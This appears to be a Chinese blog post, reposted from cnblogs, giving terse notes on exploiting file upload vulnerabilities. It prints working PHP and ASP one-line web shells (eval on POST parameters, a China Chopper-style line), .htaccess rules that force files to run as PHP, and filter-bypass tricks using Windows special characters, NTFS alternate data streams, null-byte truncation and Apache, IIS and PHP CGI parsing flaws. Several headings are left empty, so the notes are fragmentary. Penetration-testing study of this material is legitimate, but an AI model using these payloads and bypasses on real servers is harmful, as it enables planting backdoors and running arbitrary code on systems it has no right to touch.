标签:文件名 cat head set 配置错误 后缀名 漏洞 上传漏洞 windows
文件上传时检查不严格,可以直接上传php,asp等代码
文件上传后修改文件名处理不当
引用第三方插件
服务器配置不当
开源编辑器的上传漏洞
本地文件上传限制被绕过
文件解析漏洞导致文件执行
文件路径截断
<?php eval($_POST(‘pass‘));?>
<?php eval($_POST(pass));?>
<?php @eval($_POST(‘pass‘));?>
<script language="php"> </script>
<% eval request("caidao")%>
限制内容
绕过方式
限制内容
后缀
Content-Type
image/gif
文件头
文件大小
绕过方式
#类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
#将该目录下的所有文件解析为php文件来执行
SetHandler application/x-httpd-php
(1)上传 shell. php(%80-99)
Windows特殊字符:
当我们上传一个文件的filename为shell.php{%80-%99}时:
waf可能识别为.php{%80-%99},就会导致被绕过。
(2)文件名后添加.....
Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php…也可以这么写shell.php::$DATA…。
(2) NTFS ADS特性
上传的文件名 | 服务器表面现象 | 生成的文件内容 |
---|---|---|
Test.php:a.jpg | 生成Test.php | 空 |
Test.php::$DATA | 生成test.php | |
Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
Test.php::$DATA\0.jpg | 生成0.jpg | |
Test.php::$DATA\aaa.jpg | 生成aaa.jpg |
1php:.jpg这类文件在上传后,在 Windows中会被保存为一个空的1.php文件,然后可
以再上传一个1.php<>或者1php<或者其他 Windows不允许的后缀,就会覆盖前边那个空的
1.php
apache2.0、apache2.2
成因
由于 Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽
略,往左进行识别,如果左边是在解析范围內的就会正常解析,而一般程序进行判断文件是否
允许上传是根据最后的后缀名进行判断的。
1、配置错误导致的解析漏洞
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,是用户配置不
当造成的
2、00截断
http://www.xxx.com/xx.jpg.php
使用条件
auto_prepend_file=2.jpg
IIS 5.×-6.x
IIS 7.0-7.5
PHP CGI解析漏洞
在默认Fast-CGI开启状况下,访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
http://www.xxx.com/xx.jpg/.php
标签:文件名 cat head set 配置错误 后缀名 漏洞 上传漏洞 windows
原文地址:https://www.cnblogs.com/tomyyyyy/p/13144013.html